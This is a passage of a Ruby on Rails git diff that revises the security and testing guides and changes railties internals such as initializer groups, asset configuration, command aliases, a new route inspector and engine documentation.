allow custom colours or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. +This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. h4. Textile Injection @@ -1003,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html - -h3. Changelog - -* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index 7a93c3a1e6..2341a3522c 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -929,9 +929,9 @@ class UserControllerTest < ActionController::TestCase end invite_email = ActionMailer::Base.deliveries.first - assert_equal invite_email.subject, "You have been invited by me@example.com" - assert_equal invite_email.to[0], 'friend@example.com' - assert_match /Hi friend@example.com/, invite_email.body + assert_equal "You have been invited by me@example.com", invite_email.subject + assert_equal 'friend@example.com', invite_email.to[0] + assert_match(/Hi friend@example.com/, invite_email.body) end end </ruby> @@ -944,12 +944,4 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures. * "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. * "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. -* "RSpec":http://rspec.info/, a behavior-driven development framework - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) -* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) - +* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb index cca0891835..73bdd0b552 100644 --- a/railties/lib/rails.rb +++ b/railties/lib/rails.rb @@ -4,6 +4,7 @@ require 'pathname' require 'active_support' require 'active_support/core_ext/kernel/reporting' +require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/logger' require 'rails/application' @@ -14,15 +15,17 @@ require 'action_dispatch/railtie' # For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the # multibyte safe operations. Plugin authors supporting other encodings -# should override this behaviour and set the relevant +default_charset+ +# should override this behavior and set the relevant +default_charset+ # on ActionController::Base. # # For Ruby 1.9, UTF-8 is the default internal and external encoding. if RUBY_VERSION < '1.9' $KCODE='u' else - Encoding.default_external = Encoding::UTF_8 - Encoding.default_internal = Encoding::UTF_8 + silence_warnings do + Encoding.default_external = Encoding::UTF_8 + Encoding.default_internal = Encoding::UTF_8 + end end module Rails @@ -87,6 +90,31 @@ module Rails RAILS_CACHE end + # Returns all rails groups for loading based on: + # + # * The Rails environment; + # * The environment variable RAILS_GROUPS; + # * The optional envs given as argument and the hash with group dependencies; + # + # == Examples + # + # groups :assets => [:development, :test] + # + # # Returns + # # => [:default, :development, :assets] for Rails.env == "development" + # # => [:default, :production] for Rails.env == "production" + # + def groups(*groups) + hash = groups.extract_options! + env = Rails.env + groups.unshift(:default, env) + groups.concat ENV["RAILS_GROUPS"].to_s.split(",") + groups.concat hash.map { |k,v| k if v.map(&:to_s).include?(env) } + groups.compact! + groups.uniq! + groups + end + def version VERSION::STRING end diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb index 82775b7e3b..01ceb80972 100644 --- a/railties/lib/rails/all.rb +++ b/railties/lib/rails/all.rb @@ -6,6 +6,7 @@ require "rails" action_mailer active_resource rails/test_unit + sprockets ).each do |framework| begin require "#{framework}/railtie" diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb index 88ef95334f..82fffe86bb 100644 --- a/railties/lib/rails/application.rb +++ b/railties/lib/rails/application.rb @@ -11,7 +11,7 @@ module Rails # == Initialization # # Rails::Application is responsible for executing all railties, engines and plugin - # initializers. Besides, it also executed some bootstrap initializers (check + # initializers. It also executes some bootstrap initializers (check # Rails::Application::Bootstrap) and finishing initializers, after all the others # are executed (check Rails::Application::Finisher). # @@ -50,9 +50,16 @@ module Rails end end - attr_accessor :assets + attr_accessor :assets, :sandbox + alias_method :sandbox?, :sandbox + delegate :default_url_options, :default_url_options=, :to => :routes + def initialize + super + @initialized = false + end + # This method is called just after an application inherits from Rails::Application, # allowing the developer to load classes in lib and use them during application # configuration. @@ -76,11 +83,6 @@ module Rails require environment if environment end - def eager_load! #:nodoc: - railties.all(&:eager_load!) - super - end - def reload_routes! routes_reloader.reload! end @@ -89,34 +91,34 @@ module Rails @routes_reloader ||= RoutesReloader.new end - def initialize! + def initialize!(group=:default) raise "Application has been already initialized." if @initialized - run_initializers(self) + run_initializers(group, self) @initialized = true self end - def load_tasks + def load_tasks(app=self) initialize_tasks - railties.all { |r| r.load_tasks } super self end - def load_generators - initialize_generators - railties.all { |r| r.load_generators } + def load_console(app=self) + initialize_console super self end - def load_console(sandbox=false) - initialize_console(sandbox) - railties.all { |r| r.load_console(sandbox) } - super() - self - end - + # Rails.application.env_config stores some of the Rails initial environment parameters. + # Currently stores: + # + # * action_dispatch.parameter_filter" => config.filter_parameters, + # * action_dispatch.secret_token" => config.secret_token, + # * action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions + # + # These parameters will be used by middlewares and engines to configure themselves. + # def env_config @env_config ||= super.merge({ "action_dispatch.parameter_filter" => config.filter_parameters, @@ -135,14 +137,16 @@ module Rails @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd)) end + def to_app + self + end + protected alias :build_middleware_stack :app def default_middleware_stack ActionDispatch::MiddlewareStack.new.tap do |middleware| - middleware.use ::Rack::ContentLength, config.action_dispatch.x_sendfile_header - if rack_cache = config.action_controller.perform_caching && config.action_dispatch.rack_cache require "action_dispatch/http/rack_cache" middleware.use ::Rack::Cache, rack_cache @@ -150,7 +154,7 @@ module Rails if config.force_ssl require "rack/ssl" - middleware.use ::Rack::SSL + middleware.use ::Rack::SSL, config.ssl_options end if config.serve_static_assets @@ -160,10 +164,13 @@ module Rails middleware.use ::Rack::Lock unless config.allow_concurrency middleware.use ::Rack::Runtime middleware.use ::Rack::MethodOverride - middleware.use ::Rails::Rack::Logger # must come after Rack::MethodOverride to properly log overridden methods + middleware.use ::ActionDispatch::RequestId + middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies - middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header + if config.action_dispatch.x_sendfile_header.present? + middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header + end middleware.use ::ActionDispatch::Reloader unless config.cache_classes middleware.use ::ActionDispatch::Callbacks middleware.use ::ActionDispatch::Cookies @@ -185,18 +192,16 @@ module Rails end def initialize_tasks - require "rails/tasks" - task :environment do - $rails_rake_task = true - require_environment! + self.class.rake_tasks do + require "rails/tasks" + task :environment do + $rails_rake_task = true + require_environment! + end end end - def initialize_generators - require "rails/generators" - end - - def initialize_console(sandbox=false) + def initialize_console require "pp" require "rails/console/app" require "rails/console/helpers" diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb index 9f21d273e6..c2cb121e42 100644 --- a/railties/lib/rails/application/bootstrap.rb +++ b/railties/lib/rails/application/bootstrap.rb @@ -7,29 +7,29 @@ module Rails module Bootstrap include Initializable - initializer :load_environment_hook do end + initializer :load_environment_hook, :group => :all do end - initializer :load_active_support do + initializer :load_active_support, :group => :all do require "active_support/all" unless config.active_support.bare end # Preload all frameworks specified by the Configuration#frameworks. # Used by Passenger to ensure everything's loaded before forking and # to avoid autoload race conditions in JRuby. - initializer :preload_frameworks do + initializer :preload_frameworks, :group => :all do ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks end # Initialize the logger early in the stack in case we need to log some deprecation. - initializer :initialize_logger do + initializer :initialize_logger, :group => :all do Rails.logger ||= config.logger || begin path = config.paths["log"].first - logger = ActiveSupport::BufferedLogger.new(path) + logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(path)) logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase) logger.auto_flushing = false if Rails.env.production? logger - rescue StandardError => e - logger = ActiveSupport::BufferedLogger.new(STDERR) + rescue StandardError + logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(STDERR)) logger.level = ActiveSupport::BufferedLogger::WARN logger.warn( "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " + @@ -41,7 +41,7 @@ module Rails end # Initialize cache early in the stack so railties can make use of it. - initializer :initialize_cache do + initializer :initialize_cache, :group => :all do unless defined?(RAILS_CACHE) silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) } @@ -51,7 +51,7 @@ module Rails end end - initializer :set_clear_dependencies_hook do + initializer :set_clear_dependencies_hook, :group => :all do ActionDispatch::Reloader.to_cleanup do ActiveSupport::DescendantsTracker.clear ActiveSupport::Dependencies.clear @@ -60,11 +60,11 @@ module Rails # Sets the dependency loading mechanism. # TODO: Remove files from the $" and always use require. - initializer :initialize_dependency_mechanism do + initializer :initialize_dependency_mechanism, :group => :all do ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load end - initializer :bootstrap_hook do |app| + initializer :bootstrap_hook, :group => :all do |app| ActiveSupport.run_load_hooks(:before_initialize, app) end end diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb index 3b74de690a..8f5b28faf8 100644 --- a/railties/lib/rails/application/configuration.rb +++ b/railties/lib/rails/application/configuration.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/string/encoding' +require 'active_support/core_ext/kernel/reporting' require 'rails/engine/configuration' module Rails @@ -6,12 +7,14 @@ module Rails class Configuration < ::Rails::Engine::Configuration attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets, :cache_classes, :cache_store, :consider_all_requests_local, - :dependency_loading, :encoding, :filter_parameters, - :force_ssl, :helpers_paths, :logger, :preload_frameworks, + :dependency_loading, :filter_parameters, + :force_ssl, :helpers_paths, :logger, :log_tags, :preload_frameworks, :reload_plugins, :secret_token, :serve_static_assets, - :static_cache_control, :session_options, :time_zone, :whiny_nils + :ssl_options, :static_cache_control, :session_options, + :time_zone, :whiny_nils attr_writer :log_level + attr_reader :encoding def initialize(*) super @@ -24,21 +27,30 @@ module Rails @serve_static_assets = true @static_cache_control = nil @force_ssl = false + @ssl_options = {} @session_store = :cookie_store @session_options = {} @time_zone = "UTC" @log_level = nil @middleware = app_middleware @generators = app_generators + @cache_store = [ :file_store, "#{root}/tmp/cache/" ] @assets = ActiveSupport::OrderedOptions.new - @assets.enabled = false - @assets.paths = [] - @assets.precompile = [ /\w+\.(?!js|css).+/, "application.js", "application.css" ] - @assets.prefix = "/assets" - - @assets.js_compressor = nil - @assets.css_compressor = nil + @assets.enabled = false + @assets.paths = [] + @assets.precompile = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) }, + /(?:\/|\\|\A)application\.(css|js)$/ ] + @assets.prefix = "/assets" + @assets.version = '' + @assets.debug = false + @assets.compile = true + @assets.digest = false + @assets.manifest = nil + @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ] + @assets.js_compressor = nil + @assets.css_compressor = nil + @assets.initialize_on_precompile = true end def compiled_asset_path @@ -48,8 +60,10 @@ module Rails def encoding=(value) @encoding = value if "ruby".encoding_aware? - Encoding.default_external = value - Encoding.default_internal = value + silence_warnings do + Encoding.default_external = value + Encoding.default_internal = value + end else $KCODE = value if $KCODE == "NONE" @@ -70,7 +84,6 @@ module Rails paths.add "public/javascripts" paths.add "public/stylesheets" paths.add "tmp" - paths.add "tmp/cache" paths end end @@ -95,16 +108,6 @@ module Rails YAML::load(ERB.new(IO.read(paths["config/database"].first)).result) end - def cache_store - @cache_store ||= begin - if File.exist?("#{root}/tmp/cache/") - [ :file_store, "#{root}/tmp/cache/" ] - else - :memory_store - end - end - end - def log_level @log_level ||= Rails.env.production? ? :info : :debug end diff --git a/railties/lib/rails/application/railties.rb b/railties/lib/rails/application/railties.rb index 4fc5e92837..8f3a3e8bbb 100644 --- a/railties/lib/rails/application/railties.rb +++ b/railties/lib/rails/application/railties.rb @@ -4,7 +4,7 @@ module Rails class Application < Engine class Railties < Rails::Engine::Railties def all(&block) - @all ||= railties + engines + super + @all ||= railties + engines + plugins @all.each(&block) if block @all end diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb new file mode 100644 index 0000000000..8252f21aa7 --- /dev/null +++ b/railties/lib/rails/application/route_inspector.rb @@ -0,0 +1,44 @@ +module Rails + class Application + ## + # This class is just used for displaying route information when someone + # executes `rake routes`. People should not use this class. + class RouteInspector # :nodoc: + def format all_routes, filter = nil + if filter + all_routes = all_routes.select{ |route| route.defaults[:controller] == filter } + end + + routes = all_routes.collect do |route| + route_reqs = route.requirements + + rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ + + controller = route_reqs[:controller] || ':controller' + action = route_reqs[:action] || ':action' + + endpoint = rack_app ? rack_app.inspect : "#{controller}##{action}" + constraints = route_reqs.except(:controller, :action) + + reqs = endpoint + reqs += " #{constraints.inspect}" unless constraints.empty? + + verb = route.verb.source.gsub(/[$^]/, '') + + {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs} + end + + # Skip the route if it's internal info route + routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } + + name_width = routes.map{ |r| r[:name].length }.max + verb_width = routes.map{ |r| r[:verb].length }.max + path_width = routes.map{ |r| r[:path].length }.max + + routes.map do |r| + "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" + end + end + end + end +end diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb index 40416dd83a..e6822b75b7 100644 --- a/railties/lib/rails/code_statistics.rb +++ b/railties/lib/rails/code_statistics.rb @@ -30,7 +30,7 @@ class CodeStatistics #:nodoc: stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 } Dir.foreach(directory) do |file_name| - if File.stat(directory + "/" + file_name).directory? and (/^\./ !~ file_name) + if File.directory?(directory + "/" + file_name) and (/^\./ !~ file_name) newstats = calculate_directory_statistics(directory + "/" + file_name, pattern) stats.each { |k, v| stats[k] += newstats[k] } end @@ -104,4 +104,4 @@ class CodeStatistics #:nodoc: puts " Code LOC: #{code} Test LOC: #{tests} Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f/code)}" puts "" end - end +end diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb index 4a082aedb8..ada150ceec 100644 --- a/railties/lib/rails/commands.rb +++ b/railties/lib/rails/commands.rb @@ -4,6 +4,7 @@ ARGV << '--help' if ARGV.empty? aliases = { "g" => "generate", + "d" => "destroy", "c" => "console", "s" => "server", "db" => "dbconsole", @@ -15,15 +16,15 @@ command = aliases[command] || command case command when 'generate', 'destroy', 'plugin' + require 'rails/generators' + if command == 'plugin' && ARGV.first == 'new' require "rails/commands/plugin_new" else require APP_PATH Rails.application.require_environment! - if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH) - Rails.application = engine - end + Rails.application.load_generators require "rails/commands/#{command}" end @@ -87,13 +88,13 @@ The most common rails commands are: In addition to those, there are: application Generate the Rails application code - destroy Undo code generated with "generate" + destroy Undo code generated with "generate" (short-cut alias: "d") benchmarker See how fast a piece of code runs profiler Get profile information from a piece of code plugin Install a plugin - runner Run a piece of code in the application environment + runner Run a piece of code in the application environment (short-cut alias: "r") -All commands can be run with -h for more information. +All commands can be run with -h (or --help) for more information. EOT exit(1) end diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb index f3fa1fd54d..60d1aed73a 100644 --- a/railties/lib/rails/commands/application.rb +++ b/railties/lib/rails/commands/application.rb @@ -9,10 +9,17 @@ if ARGV.first != "new" ARGV[0] = "--help" else ARGV.shift + railsrc = File.join(File.expand_path("~"), ".railsrc") + if File.exist?(railsrc) + extra_args_string = File.open(railsrc).read + extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten + puts "Using #{extra_args.join(" ")} from #{railsrc}" + ARGV << extra_args + ARGV.flatten! + end end require 'rubygems' if ARGV.include?("--dev") - require 'rails/generators' require 'rails/generators/rails/app/app_generator' diff --git a/railties/lib/rails/commands/benchmarker.rb b/railties/lib/rails/commands/benchmarker.rb index b06c915ac3..6c52d0f70f 100644 --- a/railties/lib/rails/commands/benchmarker.rb +++ b/railties/lib/rails/commands/benchmarker.rb @@ -9,7 +9,7 @@ ARGV.pop def options options = {} defaults = ActiveSupport::Testing::Performance::DEFAULTS - + OptionParser.new do |opt| opt.banner = "Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]" opt.on('-r', '--runs N', Numeric, 'Number of runs.', "Default: #{defaults[:runs]}") { |r| options[:runs] = r } @@ -17,13 +17,13 @@ def options opt.on('-m', '--metrics a,b,c', Array, 'Metrics to use.', "Default: #{defaults[:metrics].join(",")}") { |m| options[:metrics] = m.map(&:to_sym) } opt.parse!(ARGV) end - + options end class BenchmarkerTest < ActionDispatch::PerformanceTest self.profile_options = options - + ARGV.each do |expression| eval <<-RUBY def test_#{expression.parameterize('_')} diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb index 66dbb5d11e..32e361d421 100644 --- a/railties/lib/rails/commands/console.rb +++ b/railties/lib/rails/commands/console.rb @@ -23,7 +23,8 @@ module Rails opt.parse!(ARGV) end - @app.load_console(options[:sandbox]) + @app.sandbox = options[:sandbox] + @app.load_console if options[:debugger] begin diff --git a/railties/lib/rails/commands/destroy.rb b/railties/lib/rails/commands/destroy.rb index 2a84e2a6df..ae354eca97 100644 --- a/railties/lib/rails/commands/destroy.rb +++ b/railties/lib/rails/commands/destroy.rb @@ -1,8 +1,6 @@ require 'rails/generators' require 'active_support/core_ext/object/inclusion' -Rails::Generators.configure! - if ARGV.first.in?([nil, "-h", "--help"]) Rails::Generators.help 'destroy' exit diff --git a/railties/lib/rails/commands/generate.rb b/railties/lib/rails/commands/generate.rb index 28c1c56352..1fb2d98834 100644 --- a/railties/lib/rails/commands/generate.rb +++ b/railties/lib/rails/commands/generate.rb @@ -1,12 +1,12 @@ require 'rails/generators' require 'active_support/core_ext/object/inclusion' -Rails::Generators.configure! - if ARGV.first.in?([nil, "-h", "--help"]) Rails::Generators.help 'generate' exit end name = ARGV.shift -Rails::Generators.invoke name, ARGV, :behavior => :invoke, :destination_root => Rails.root + +root = defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root +Rails::Generators.invoke name, ARGV, :behavior => :invoke, :destination_root => root diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb index 048af7cbef..4df849447d 100644 --- a/railties/lib/rails/commands/plugin.rb +++ b/railties/lib/rails/commands/plugin.rb @@ -313,11 +313,11 @@ module Commands o.separator "" o.separator "EXAMPLES" o.separator " Install a plugin from a subversion URL:" - o.separator " #{@script_name} plugin install http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder\n" + o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n" o.separator " Install a plugin from a git URL:" o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n" o.separator " Install a plugin and add a svn:externals entry to vendor/plugins" - o.separator " #{@script_name} plugin install -x continuous_builder\n" + o.separator " #{@script_name} plugin install -x my_svn_plugin\n" end end diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb index 8baa8ebfd4..0287ba0638 100644 --- a/railties/lib/rails/commands/plugin_new.rb +++ b/railties/lib/rails/commands/plugin_new.rb @@ -1,3 +1,5 @@ +require 'rubygems' if ARGV.include?("--dev") + if ARGV.first != "new" ARGV[0] = "--help" else @@ -6,5 +8,4 @@ end require 'rails/generators' require 'rails/generators/rails/plugin_new/plugin_new_generator' - -Rails::Generators::PluginNewGenerator.start +Rails::Generators::PluginNewGenerator.start
\ No newline at end of file diff --git a/railties/lib/rails/commands/profiler.rb b/railties/lib/rails/commands/profiler.rb index 94cf32d32d..ea6347c918 100644 --- a/railties/lib/rails/commands/profiler.rb +++ b/railties/lib/rails/commands/profiler.rb @@ -6,7 +6,7 @@ require 'active_support/testing/performance' def options options = {} defaults = ActiveSupport::Testing::Performance::DEFAULTS - + OptionParser.new do |opt| opt.banner = "Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]" opt.on('-r', '--runs N', Numeric, 'Number of runs.', "Default: #{defaults[:runs]}") { |r| options[:runs] = r } @@ -15,13 +15,13 @@ def options opt.on('-f', '--formats x,y,z', Array, 'Formats to output to.', "Default: #{defaults[:formats].join(",")}") { |m| options[:formats] = m.map(&:to_sym) } opt.parse!(ARGV) end - + options end class ProfilerTest < ActionDispatch::PerformanceTest self.profile_options = options - + ARGV.each do |expression| eval <<-RUBY def test_#{expression.parameterize('_')} diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb index f8b00e7249..e8cc5d9e3b 100644 --- a/railties/lib/rails/commands/runner.rb +++ b/railties/lib/rails/commands/runner.rb @@ -4,6 +4,10 @@ require 'rbconfig' options = { :environment => (ENV['RAILS_ENV'] || "development").dup } code_or_file = nil +if ARGV.first.nil? + ARGV.push "-h" +end + ARGV.clone.options do |opts| script_name = File.basename($0) opts.banner = "Usage: runner [options] ('Some.ruby(code)' or a filename)" diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb index 505a4ca2bd..20484a10c8 100644 --- a/railties/lib/rails/commands/server.rb +++ b/railties/lib/rails/commands/server.rb @@ -43,7 +43,7 @@ module Rails end def app - @app ||= super.instance + @app ||= super.respond_to?(:to_app) ? super.to_app : super end def opt_parser @@ -78,6 +78,7 @@ module Rails middlewares = [] middlewares << [Rails::Rack::LogTailer, log_path] unless options[:daemonize] middlewares << [Rails::Rack::Debugger] if options[:debugger] + middlewares << [::Rack::ContentLength] Hash.new(middlewares) end diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb index 66fab0a760..f8ad17773a 100644 --- a/railties/lib/rails/configuration.rb +++ b/railties/lib/rails/configuration.rb @@ -43,6 +43,7 @@ module Rails class Generators #:nodoc: attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging + attr_reader :hidden_namespaces def initialize @aliases = Hash.new { |h,k| h[k] = {} } @@ -50,6 +51,7 @@ module Rails @fallbacks = {} @templates = [] @colorize_logging = true + @hidden_namespaces = [] end def initialize_copy(source) @@ -59,6 +61,10 @@ module Rails @templates = @templates.dup end + def hide_namespace(namespace) + @hidden_namespaces << namespace + end + def method_missing(method, *args) method = method.to_s.sub(/=$/, '').to_sym diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb index e26f73ed8d..1c9627734e 100644 --- a/railties/lib/rails/engine.rb +++ b/railties/lib/rails/engine.rb @@ -5,13 +5,14 @@ require 'rbconfig' require 'rails/engine/railties' module Rails - # Rails::Engine allows you to wrap a specific Rails application and share it across - # different applications. Since Rails 3.0, every <tt>Rails::Application</tt> is nothing - # more than an engine, allowing you to share it very easily. + # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of + # functionality and share it with other applications. Since Rails 3.0, every + # <tt>Rails::Application</tt> is just an engine, which allows for simple + # feature and application sharing. # - # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same methods - # (like <tt>rake_tasks</tt> and +generators+) and configuration available in the - # latter can also be used in the former. + # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same + # methods (like <tt>rake_tasks</tt> and +generators+) and configuration + # options that are available in railties can also be used in engines. # # == Creating an Engine # @@ -71,12 +72,13 @@ module Rails # # == Paths # - # Since Rails 3.0, both your application and engines do not have hardcoded paths. - # This means that you are not required to place your controllers at <tt>app/controllers</tt>, - # but in any place which you find convenient. + # Since Rails 3.0, applications and engines have more flexible path configuration (as + # opposed to the previous hardcoded path configuration). This means that you are not + # required to place your controllers at <tt>app/controllers</tt>, but in any place + # which you find convenient. # # For example, let's suppose you want to place your controllers in <tt>lib/controllers</tt>. - # All you would need to do is: + # You can set that as an option: # # class MyEngine < Rails::Engine # paths["app/controllers"] = "lib/controllers" @@ -105,9 +107,9 @@ module Rails # paths["config/routes"] # => ["config/routes.rb"] # end # - # Your <tt>Application</tt> class adds a couple more paths to this set. And as in your - # <tt>Application</tt>,all folders under +app+ are automatically added to the load path. - # So if you have <tt>app/observers</tt>, it's added by default. + # The <tt>Application</tt> class adds a couple more paths to this set. And as in your + # <tt>Application</tt>, all folders under +app+ are automatically added to the load path. + # If you have an <tt>app/observers</tt> folder for example, it will be added by default. # # == Endpoint # @@ -130,8 +132,8 @@ module Rails # # == Middleware stack # - # As an engine can now be rack endpoint, it can also have a middleware stack. The usage is exactly - # the same as in <tt>Application</tt>: + # As an engine can now be a rack endpoint, it can also have a middleware + # stack. The usage is exactly the same as in <tt>Application</tt>: # # module MyEngine # class Engine < Rails::Engine @@ -141,8 +143,8 @@ module Rails # # == Routes # - # If you don't specify an endpoint, routes will be used as the default endpoint. You can use them - # just like you use an application's routes: + # If you don't specify an endpoint, routes will be used as the default + # endpoint. You can use them just like you use an application's routes: # # # ENGINE/config/routes.rb # MyEngine::Engine.routes.draw do @@ -174,13 +176,14 @@ module Rails # == Engine name # # There are some places where an Engine's name is used: + # # * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>, # it's used as default :as option # * some of the rake tasks are based on engine name, e.g. <tt>my_engine:install:migrations</tt>, # <tt>my_engine:install:assets</tt> # # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be - # <tt>my_engine_engine</tt>. You can change it manually it manually using the <tt>engine_name</tt> method: + # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method: # # module MyEngine # class Engine < Rails::Engine @@ -191,8 +194,8 @@ module Rails # == Isolated Engine # # Normally when you create controllers, helpers and models inside an engine, they are treated - # as they were created inside the application. This means all application helpers and named routes - # will be available to your engine's controllers. + # as if they were created inside the application itself. This means that all helpers and + # named routes from the application will be available to your engine's controllers as well. # # However, sometimes you want to isolate your engine from the application, especially if your engine # has its own router. To do that, you simply need to call +isolate_namespace+. This method requires @@ -217,7 +220,7 @@ module Rails # If an engine is marked as isolated, +FooController+ has access only to helpers from +Engine+ and # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>. # - # The next thing that changes in isolated engines is the behaviour of routes. Normally, when you namespace + # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace # your controllers, you also need to do namespace all your routes. With an isolated engine, # the namespace is applied by default, so you can ignore it in routes: # @@ -229,7 +232,7 @@ module Rails # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use # <tt>articles_path</tt> as you would do with your application. # - # To make that behaviour consistent with other parts of the framework, an isolated engine also has influence on + # To make that behavior consistent with other parts of the framework, an isolated engine also has influence on # <tt>ActiveModel::Naming</tt>. When you use a namespaced model, like <tt>MyEngine::Article</tt>, it will normally # use the prefix "my_engine". In an isolated engine, the prefix will be omitted in url helpers and # form fields for convenience. @@ -240,9 +243,9 @@ module Rails # text_field :title # => <input type="text" name="article[title]" id="article_title" /> # end # - # Additionally an isolated engine will set its name according to namespace, so + # Additionally, an isolated engine will set its name according to namespace, so # MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix - # to "my_engine_", changing MyEngine::Article model to use my_engine_article table. + # to "my_engine_", changing the MyEngine::Article model to use the my_engine_article table. # # == Using Engine's routes outside Engine # @@ -274,12 +277,13 @@ module Rails # end # end # - # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tT> as default, so most of the time + # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tt> as default, so most of the time # you can simply omit it. # - # Finally, if you want to generate a url to an engine's route using <tt>polymorphic_url</tt>, you also need - # to pass the engine helper. Let's say that you want to create a form pointing to one of the - # engine's routes. All you need to do is pass the helper as the first element in array with + # Finally, if you want to generate a url to an engine's route using + # <tt>polymorphic_url</tt>, you also need to pass the engine helper. Let's + # say that you want to create a form pointing to one of the engine's routes. + # All you need to do is pass the helper as the first element in array with # attributes for url: # # form_for([my_engine, @user]) @@ -296,7 +300,7 @@ module Rails # helper MyEngine::SharedEngineHelper # end # - # If you want to include all of the engine's helpers, you can use #helpers method on egine's + # If you want to include all of the engine's helpers, you can use #helpers method on an engine's # instance: # # class ApplicationController < ActionController::Base @@ -305,7 +309,7 @@ module Rails # # It will include all of the helpers from engine's directory. Take into account that this does # not include helpers defined in controllers with helper_method or other similar solutions, - # only helpers defined in helpers directory will be included. + # only helpers defined in the helpers directory will be included. # # == Migrations & seed data # @@ -319,7 +323,7 @@ module Rails # # Note that some of 